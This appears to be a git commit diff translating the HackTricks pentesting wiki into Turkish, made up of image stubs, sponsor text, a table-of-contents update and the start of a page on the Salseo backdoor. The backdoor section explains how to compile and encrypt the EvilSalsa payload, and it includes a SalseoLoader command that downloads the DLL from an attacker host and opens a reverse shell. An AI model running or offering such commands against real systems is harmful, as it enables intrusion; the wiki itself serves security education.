Translated ['README.md', 'backdoors/salseo.md', 'cryptography/certificat

This commit is contained in:
Translator 2024-03-29 21:18:23 +00:00
parent a8fd87ce41
commit b6a56a74ef
157 changed files with 5239 additions and 3911 deletions

Binary file not shown.

After

Width:  |  Height:  |  Size: 1.6 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 1.6 KiB

After

Width:  |  Height:  |  Size: 16 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 16 KiB

After

Width:  |  Height:  |  Size: 132 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 132 KiB

After

Width:  |  Height:  |  Size: 20 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 20 KiB

After

Width:  |  Height:  |  Size: 8.1 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 8.1 KiB

After

Width:  |  Height:  |  Size: 51 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 51 KiB

After

Width:  |  Height:  |  Size: 32 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 32 KiB

After

Width:  |  Height:  |  Size: 39 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 39 KiB

After

Width:  |  Height:  |  Size: 72 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 72 KiB

After

Width:  |  Height:  |  Size: 322 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 322 KiB

After

Width:  |  Height:  |  Size: 36 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 36 KiB

After

Width:  |  Height:  |  Size: 34 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 34 KiB

After

Width:  |  Height:  |  Size: 176 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 176 KiB

After

Width:  |  Height:  |  Size: 152 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 152 KiB

After

Width:  |  Height:  |  Size: 31 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 31 KiB

After

Width:  |  Height:  |  Size: 71 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 71 KiB

After

Width:  |  Height:  |  Size: 65 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 65 KiB

After

Width:  |  Height:  |  Size: 42 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 42 KiB

After

Width:  |  Height:  |  Size: 43 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 43 KiB

After

Width:  |  Height:  |  Size: 79 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 79 KiB

After

Width:  |  Height:  |  Size: 175 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 175 KiB

After

Width:  |  Height:  |  Size: 5.5 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 94 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 94 KiB

After

Width:  |  Height:  |  Size: 199 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 199 KiB

After

Width:  |  Height:  |  Size: 145 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 145 KiB

After

Width:  |  Height:  |  Size: 1.2 MiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 1.2 MiB

After

Width:  |  Height:  |  Size: 100 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 100 KiB

After

Width:  |  Height:  |  Size: 12 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 12 KiB

After

Width:  |  Height:  |  Size: 121 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 121 KiB

After

Width:  |  Height:  |  Size: 7 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 7 KiB

After

Width:  |  Height:  |  Size: 72 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 72 KiB

After

Width:  |  Height:  |  Size: 60 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 60 KiB

After

Width:  |  Height:  |  Size: 223 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 223 KiB

After

Width:  |  Height:  |  Size: 27 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 27 KiB

After

Width:  |  Height:  |  Size: 32 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 32 KiB

After

Width:  |  Height:  |  Size: 15 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 15 KiB

After

Width:  |  Height:  |  Size: 90 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 90 KiB

After

Width:  |  Height:  |  Size: 15 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 15 KiB

After

Width:  |  Height:  |  Size: 172 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 172 KiB

After

Width:  |  Height:  |  Size: 10 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 19 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 19 KiB

After

Width:  |  Height:  |  Size: 78 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 78 KiB

After

Width:  |  Height:  |  Size: 38 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 38 KiB

After

Width:  |  Height:  |  Size: 795 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 795 KiB

After

Width:  |  Height:  |  Size: 104 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 104 KiB

After

Width:  |  Height:  |  Size: 17 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 17 KiB

After

Width:  |  Height:  |  Size: 68 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 68 KiB

After

Width:  |  Height:  |  Size: 154 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 154 KiB

After

Width:  |  Height:  |  Size: 74 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 74 KiB

After

Width:  |  Height:  |  Size: 14 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 14 KiB

After

Width:  |  Height:  |  Size: 53 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 53 KiB

After

Width:  |  Height:  |  Size: 15 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 15 KiB

After

Width:  |  Height:  |  Size: 1 MiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 1 MiB

After

Width:  |  Height:  |  Size: 407 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 407 KiB

After

Width:  |  Height:  |  Size: 74 KiB

View file

@ -5,10 +5,10 @@
_Hacktricks logos & motion design by_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)_._ _Hacktricks logos & motion design by_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)_._
{% hint style="success" %} {% hint style="success" %}
**Wiki'ye hoş geldiniz, burada CTF'lerden, gerçek uygulamalardan, araştırmalardan ve haberlerden öğrendiğim her hack tekniğini bulacaksınız.** **Bu wiki'ye hoş geldiniz, burada CTF'lerden, gerçek uygulamalardan, araştırmalardan ve haberlerden öğrendiğim her hackleme hilesini/teknikleri/bilgiyi bulacaksınız.**
{% endhint %} {% endhint %}
Başlamak için, bir veya daha fazla makineyi pentest ettiğinizde takip etmeniz gereken **tipik akışı** bulacağınız bu sayfayı takip edin: Başlamak için, bir veya daha fazla **makineyi pentest ettiğinizde izlemeniz gereken tipik akışı** bulacağınız bu sayfayı takip edin:
{% content-ref url="generic-methodologies-and-resources/pentesting-methodology.md" %} {% content-ref url="generic-methodologies-and-resources/pentesting-methodology.md" %}
[pentesting-methodology.md](generic-methodologies-and-resources/pentesting-methodology.md) [pentesting-methodology.md](generic-methodologies-and-resources/pentesting-methodology.md)
@ -20,11 +20,11 @@ Başlamak için, bir veya daha fazla makineyi pentest ettiğinizde takip etmeniz
<figure><img src=".gitbook/assets/stm (1).png" alt=""><figcaption></figcaption></figure> <figure><img src=".gitbook/assets/stm (1).png" alt=""><figcaption></figcaption></figure>
[**STM Cyber**](https://www.stmcyber.com), sloganı **HACK THE UNHACKABLE** olan harika bir siber güvenlik şirketidir. Kendi araştırmalarını yapar ve kendi hacking araçlarını geliştirirler ve pentesting, Kırmızı Takımlar ve eğitim gibi **çeşitli değerli siber güvenlik hizmetleri sunarlar**. [**STM Cyber**](https://www.stmcyber.com), sloganı **HACK THE UNHACKABLE** olan harika bir siber güvenlik şirketidir. Kendi araştırmalarını yapar ve kendi hackleme araçlarını geliştirirler ve pentesting, Kırmızı Takımlar ve eğitim gibi **çeşitli değerli siber güvenlik hizmetleri sunarlar**.
Bloglarını [**https://blog.stmcyber.com**](https://blog.stmcyber.com) adresinden kontrol edebilirsiniz. Bloglarını [**https://blog.stmcyber.com**](https://blog.stmcyber.com) adresinden kontrol edebilirsiniz.
**STM Cyber**, HackTricks gibi siber güvenlik açık kaynak projelerini de destekler :) **STM Cyber** ayrıca HackTricks gibi siber güvenlik açık kaynak projelerini destekler :)
*** ***
@ -32,7 +32,7 @@ Bloglarını [**https://blog.stmcyber.com**](https://blog.stmcyber.com) adresind
<figure><img src=".gitbook/assets/image (4) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src=".gitbook/assets/image (4) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
[**RootedCON**](https://www.rootedcon.com), **İspanya**'daki en ilgili siber güvenlik etkinliği ve **Avrupa**'daki en önemlilerden biridir. **Teknik bilgiyi teşvik etme misyonu** ile bu kongre, teknoloji ve siber güvenlik profesyonelleri için bir araya gelen bir buluşma noktasıdır. [**RootedCON**](https://www.rootedcon.com), **İspanya**'daki en ilgili siber güvenlik etkinliği ve **Avrupa**'nın en önemlilerinden biridir. Teknik bilgiyi teşvik etme misyonuyla, bu kongre, teknoloji ve siber güvenlik profesyonelleri için bir buluşma noktasıdır.
{% embed url="https://www.rootedcon.com/" %} {% embed url="https://www.rootedcon.com/" %}
@ -40,11 +40,11 @@ Bloglarını [**https://blog.stmcyber.com**](https://blog.stmcyber.com) adresind
### [Intigriti](https://www.intigriti.com) ### [Intigriti](https://www.intigriti.com)
<figure><img src=".gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src=".gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
**Intigriti**, **Avrupa'nın #1** etik hacking ve **bug bounty platformudur**. **Intigriti**, **Avrupa'nın #1** etik hackleme ve **ödül avı platformudur**.
**Bug bounty ipucu**: **Intigriti'ye kaydolun**, hackerlar tarafından oluşturulan bir premium **bug bounty platformuna katılın**! Bugün [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) adresinden bize katılın ve **$100,000**'a kadar ödüller kazanmaya başlayın! **Ödül avı ipucu**: **Hackerlar tarafından oluşturulan premium bir bug bounty platformu olan Intigriti'ye** kaydolun! Bugün [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) adresinde bize katılın ve **100.000 $'a kadar ödüller kazanmaya başlayın**!
{% embed url="https://go.intigriti.com/hacktricks" %} {% embed url="https://go.intigriti.com/hacktricks" %}
@ -52,7 +52,7 @@ Bloglarını [**https://blog.stmcyber.com**](https://blog.stmcyber.com) adresind
### [Trickest](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) ### [Trickest](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)
<figure><img src=".gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src=".gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\ \
Dünyanın **en gelişmiş** topluluk araçları tarafından desteklenen **iş akışlarını kolayca oluşturmak ve otomatikleştirmek** için [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanın. Dünyanın **en gelişmiş** topluluk araçları tarafından desteklenen **iş akışlarını kolayca oluşturmak ve otomatikleştirmek** için [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanın.
@ -67,31 +67,49 @@ Bugün Erişim Alın:
<figure><img src=".gitbook/assets/image (5) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src=".gitbook/assets/image (5) (1) (1).png" alt=""><figcaption></figcaption></figure>
Deneyimli hackerlar ve bug bounty avcıları ile iletişim kurmak için [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) sunucusuna katılın! Deneyimli hackerlar ve ödül avcılarıyla iletişim kurmak için [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) sunucusuna katılın!
**Hacking Insights**\ **Hacking Insights**\
Hacking'in heyecanını ve zorluklarını ele alan içeriklerle etkileşime girin Hacking'in heyecanını ve zorluklarını ele alan içeriklerle etkileşime girin
**Gerçek Zamanlı Hack Haberleri**\ **Gerçek Zamanlı Hack Haberleri**\
Hızlı tempolu hacking dünyasında gerçek zamanlı haberler ve içgörülerle güncel kalın Hızlı tempolu hacking dünyasını gerçek zamanlı haberler ve içgörülerle takip edin
**En Son Duyurular**\ **En Son Duyurular**\
Başlatılan en yeni bug bounty'ler ve önemli platform güncellemeleri hakkında bilgi sahibi olun Başlatılan en yeni ödül avlarını ve önemli platform güncellemelerini takip edin
**Bize katılın** [**Discord**](https://discord.com/invite/N3FrSbmwdy) ve bugün en iyi hackerlarla işbirliği yapmaya başlayın! Bugün [**Discord**](https://discord.com/invite/N3FrSbmwdy) adresinde bize katılın ve bugün en iyi hackerlarla işbirliği yapmaya başlayın!
*** ***
### [Pentest-Tools.com](https://pentest-tools.com/) - Temel penetrasyon testi araç seti ### [Pentest-Tools.com](https://pentest-tools.com/) - Temel penetrasyon testi araç seti
<figure><img src=".gitbook/assets/image (3) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src=".gitbook/assets/image (3) (1) (1).png" alt=""><figcaption></figcaption></figure>
**Anında kullanılabilir zafiyet değerlendirme ve penetrasyon testi** kurulumu. 20'den fazla araç ve özellikle tam bir pentest çalıştırın, keşiften raporlamaya kadar. Pentesterları değiştirmiyoruz - onlara daha derinlemesine kazma, kabuklar ma ve eğlenme zamanı kazandırmak için özel araçlar, tespit ve istismar modülleri geliştiriyoruz. **Vulnerability assessment & penetration testing için anında kullanılabilir kurulum**. 20'den fazla araç ve özellikle tam bir pentest çalıştırın. Pentester'ları değiştirmiyoruz - onlara daha derinlemesine kazma, kabuklar patlatma ve eğlenme zamanı kazandırmak için özel araçlar, tespit ve istismar modülleri geliştiriyoruz.
{% embed url="https://pentest-tools.com/" %} {% embed url="https://pentest-tools.com/" %}
*** ***
### [SerpApi](https://serpapi.com/)
<figure><img src=".gitbook/assets/image (2).png" alt=""><figcaption></figcaption></figure>
SerpApi, **arama motoru sonuçlarına erişmek** için hızlı ve kolay gerçek zamanlı API'lar sunar. Arama motorlarını kazır, proxy'leri yönetir, captchaları çözer ve tüm zengin yapılandırılmış verileri sizin için ayrıştırır.
SerpApi'nin planlarından birine abone olmak, Google, Bing, Baidu, Yahoo, Yandex ve daha fazlasını içeren farklı arama motorlarını kazımak için 50'den fazla farklı API'ye erişim sağlar.
Diğer sağlayıcılardan farklı olarak, SerpApi sadece organik sonuçları kazımaz. SerpApi yanıtları tutarlı bir şekilde tüm reklamları, iç içe resimleri ve videoları, bilgi grafiklerini ve arama sonuçlarında bulunan diğer unsurları ve özellikleri içerir.
Mevcut SerpApi müşterileri arasında Apple, Shopify ve GrubHub bulunmaktadır.
Daha fazla bilgi için [bloglarına](https://serpapi.com/blog/) göz atın veya [**oyun alanlarında**](https://serpapi.com/playground) bir örnek deneyin.
Ücretsiz bir hesap oluşturabilirsiniz [**buradan**](https://serpapi.com/users/sign\_up)**.**
***
### [Try Hard Security Group](https://discord.gg/tryhardsecurity) ### [Try Hard Security Group](https://discord.gg/tryhardsecurity)
<figure><img src=".gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure> <figure><img src=".gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
@ -104,17 +122,16 @@ Başlatılan en yeni bug bounty'ler ve önemli platform güncellemeleri hakkınd
<figure><img src=".gitbook/assets/websec (1).svg" alt=""><figcaption></figcaption></figure> <figure><img src=".gitbook/assets/websec (1).svg" alt=""><figcaption></figcaption></figure>
[**WebSec**](https://websec.nl), **Amsterdam** merkezli profesyonel bir siber güvenlik şirketidir ve **modern** bir yaklaşımla işletmeleri **dünya genelindeki** en son siber güvenlik tehditlerine karşı korumaya yardımcı olur. [**WebSec**](https://websec.nl), **Amsterdam** merkezli profesyonel bir siber güvenlik şirketidir ve **modern bir yaklaşımla** işletmeleri **dünya çapında** en son siber güvenlik tehditlerine karşı korumaya yardımcı olur.
WebSec, Pentesting, **Güvenlik** Denetimleri, Farkındalık Eğitimleri, Phishing Kampanyaları, Kod İncelemesi, Sızma Geliştirme, Güvenlik Uzmanları Dış Kaynak Kullanımı ve çok daha fazlasını sağlayan **her şeyi bir arada bir güvenlik şirketidir**. WebSec, Pentesting, Güvenlik Denetimleri, Farkındalık Eğitimleri, Phishing Kampanyaları, Kod İncelemesi, Sızma Geliştirme, Güvenlik Uzmanları Dış Kaynak Kullanımı ve çok daha fazlasını sağlayarak **her şeyi tek bir çatı altında sunan bir güvenlik şirketidir**.
WebSec hakkında başka harika bir şey de, endüstri ortalamasının aksine WebSec'in **becerilerine çok güvendiği**, web sitelerinde "**Eğer hackleyemezsek, ödeme yapmazsınız!**" şeklinde belirtildiği kadarıyla, en iyi kalite sonuçları garanti etmeleridir. Daha fazla bilgi için [**web sitelerine**](https://websec.nl/en/) ve [**bloglarına**](https://websec.nl/blog/) göz atın! WebSec hakkında başka harika bir şey, WebSec'in becerilerine oldukça güvendiği, web sitelerinde "**Eğer hackleyemezsek, ödeme yapmazsınız!**" şeklinde belirtildiği endüstri ortalamasının aksine en iyi kalite sonuçları garanti ettiğidir. Daha fazla bilgi için [**web sitelerine**](https://websec.nl/en/) ve [**bloglarına**](https://websec.nl/blog/) göz atın!
Yukarıdakilere ek olarak, WebSec aynı zamanda HackTricks'in **kararlı destekçisidir**. Yukarıdakilere ek olarak, WebSec aynı zamanda HackTricks'in kararlı destekçisidir.
{% embed url="https://www.youtube.com/watch?v=Zq2JycGDCPM" %} {% embed url="https://www.youtube.com/watch?v=Zq2JycGDCPM" %}
## Lisans ve Feragatname
## Lisans & Sorumluluk Reddi
**Onları kontrol edin:** **Onları kontrol edin:**
@ -124,14 +141,14 @@ Yukarıdakilere ek olarak, WebSec aynı zamanda HackTricks'in **kararlı destek
<details> <details>
<summary><strong>Sıfırdan kahraman olmak için AWS hackleme konusunda</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> ile öğrenin!</strong></summary> <summary><strong>Sıfırdan kahraman olmak için AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
HackTricks'i desteklemenin diğer yolları: HackTricks'i desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklam vermek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin! * **Şirketinizi HackTricks'te reklamınırmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** adresinden takip edin**. * **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'da takip edin.**
* **Hacking püf noktalarınızı göndererek HackTricks ve HackTricks Cloud** github depolarına PR'lar göndererek destekleyin. * **Hacking püf noktalarınızı göndererek HackTricks ve HackTricks Cloud** github depolarına PR'lar gönderin.
</details> </details>

View file

@ -695,20 +695,26 @@
* [Linux Exploiting (Basic) (SPA)](exploiting/linux-exploiting-basic-esp/README.md) * [Linux Exploiting (Basic) (SPA)](exploiting/linux-exploiting-basic-esp/README.md)
* [Stack Overflow](reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/README.md) * [Stack Overflow](reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/README.md)
* [ROP - Return Oriented Programing](reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/rop-return-oriented-programing.md) * [ROP - Return Oriented Programing](reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/rop-return-oriented-programing.md)
* [Ret2Shellcode](reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2shellcode.md) * [Ret2lib](reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2lib/README.md)
* [Leaking libc address with ROP](reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2lib/rop-leaking-libc-address/README.md)
* [Leaking libc - template](reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2lib/rop-leaking-libc-address/rop-leaking-libc-template.md)
* [Stack Shellcode](reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/stack-shellcode.md)
* [EBP2Ret - EBP chaining](reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ebp2ret-ebp-chaining.md)
* [Ret2win](reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2win.md) * [Ret2win](reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2win.md)
* [Ret2ret](reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2ret.md)
* [Ret2syscall](reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/rop-syscall-execv.md)
* [Format Strings](reversing-and-exploiting/linux-exploiting-basic-esp/format-strings/README.md)
* [Format Strings Template](reversing-and-exploiting/linux-exploiting-basic-esp/format-strings/format-strings-template.md)
* [Common Binary Protections](reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections/README.md) * [Common Binary Protections](reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections/README.md)
* [Relro](reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections/relro.md)
* [No-exec / NX](reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections/no-exec-nx.md) * [No-exec / NX](reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections/no-exec-nx.md)
* [Stack Canaries](reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections/stack-canaries.md) * [Stack Canaries](reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections/stack-canaries.md)
* [ASLR](reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections/aslr.md) * [ASLR](reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections/aslr.md)
* [ELF Tricks](reversing-and-exploiting/linux-exploiting-basic-esp/elf-tricks.md) * [Arbitrary Write 2 Exec](reversing-and-exploiting/linux-exploiting-basic-esp/arbitrary-write-2-exec/README.md)
* [Format Strings Template](exploiting/linux-exploiting-basic-esp/format-strings-template.md) * [AW2Exec - GOT/PLT](reversing-and-exploiting/linux-exploiting-basic-esp/arbitrary-write-2-exec/aw2exec-got-plt.md)
* [ROP - Leaking LIBC address](exploiting/linux-exploiting-basic-esp/rop-leaking-libc-address/README.md) * [ELF Basic Information](reversing-and-exploiting/linux-exploiting-basic-esp/elf-tricks.md)
* [ROP - Leaking LIBC template](exploiting/linux-exploiting-basic-esp/rop-leaking-libc-address/rop-leaking-libc-template.md)
* [Bypassing Canary & PIE](exploiting/linux-exploiting-basic-esp/bypassing-canary-and-pie.md) * [Bypassing Canary & PIE](exploiting/linux-exploiting-basic-esp/bypassing-canary-and-pie.md)
* [Ret2Lib](exploiting/linux-exploiting-basic-esp/ret2lib.md)
* [Fusion](exploiting/linux-exploiting-basic-esp/fusion.md) * [Fusion](exploiting/linux-exploiting-basic-esp/fusion.md)
* [ROP - call sys\_execve](exploiting/linux-exploiting-basic-esp/rop-syscall-execv.md)
* [Exploiting Tools](exploiting/tools/README.md) * [Exploiting Tools](exploiting/tools/README.md)
* [PwnTools](exploiting/tools/pwntools.md) * [PwnTools](exploiting/tools/pwntools.md)
* [Windows Exploiting (Basic Guide - OSCP lvl)](exploiting/windows-exploiting-basic-guide-oscp-lvl.md) * [Windows Exploiting (Basic Guide - OSCP lvl)](exploiting/windows-exploiting-basic-guide-oscp-lvl.md)

View file

@ -6,11 +6,11 @@
HackTricks'ı desteklemenin diğer yolları: HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklam görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın! * **Şirketinizi HackTricks'te reklamınızı görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'da takip edin.** * **💬 [**Discord grubumuza**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)'da takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR'ler göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun. * **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details> </details>
@ -18,21 +18,21 @@ HackTricks'ı desteklemenin diğer yolları:
Kaynak kodunu github'dan indirin ve **EvilSalsa** ve **SalseoLoader**'ı derleyin. Kodu derlemek için **Visual Studio**'nun yüklü olması gerekmektedir. Kaynak kodunu github'dan indirin ve **EvilSalsa** ve **SalseoLoader**'ı derleyin. Kodu derlemek için **Visual Studio**'nun yüklü olması gerekmektedir.
Bu projeleri, kullanacak olduğunuz Windows işletim sisteminin mimarisi için derleyin (Windows x64'ü destekliyorsa, bu mimari için derleyin). Bu projeleri, kullanacak olduğunuz Windows işletim sisteminin mimarisi için derleyin (Windows x64 destekliyorsa, o mimari için derleyin).
Mimariyi Visual Studio içinde **sol "Build" sekmesindeki "Platform Target" bölümünden seçebilirsiniz.** Mimariyi Visual Studio içinde **sol "Build" sekmesindeki** **"Platform Target"** bölümünden **seçebilirsiniz.**
(\*\*Bu seçenekleri bulamazsanız, **"Project Tab"** üzerine tıklayın ve ardından **"\<Project Name> Properties"**'e tıklayın) (\*\*Bu seçenekleri bulamazsanız, **"Project Tab"** üzerine tıklayın ve ardından **"\<Project Name> Properties"** seçeneğine tıklayın)
![](<../.gitbook/assets/image (132).png>) ![](<../.gitbook/assets/image (132).png>)
Ardından, her iki projeyi derleyin (Build -> Build Solution) (Log içinde yürütülebilir dosyanın yolunu göreceksiniz): Sonra, her iki projeyi derleyin (Build -> Build Solution) (Log içinde yürütülebilir dosyanın yolunu göreceksiniz):
![](<../.gitbook/assets/image (1) (2) (1) (1) (1).png>) ![](<../.gitbook/assets/image (1) (2) (1) (1) (1).png>)
## Arka Kapıyı Hazırlama ## Arka Kapıyı Hazırlama
İlk olarak, **EvilSalsa.dll**'yi kodlamalısınız. Bunu yapmak için **encrypterassembly.py** adlı python betiğini kullanabilir veya **EncrypterAssembly** projesini derleyebilirsiniz: İlk olarak, **EvilSalsa.dll**'yi şifrelemeniz gerekecek. Bunun için, **encrypterassembly.py** adlı python betiğini kullanabilir veya **EncrypterAssembly** projesini derleyebilirsiniz:
### **Python** ### **Python**
``` ```
@ -60,13 +60,13 @@ SalseoLoader.exe password http://<Attacker-IP>/evilsalsa.dll.txt reversetcp <Att
``` ```
### **Bir UDP ters kabuk almak (SMB üzerinden kodlanmış dll indirme)** ### **Bir UDP ters kabuk almak (SMB üzerinden kodlanmış dll indirme)**
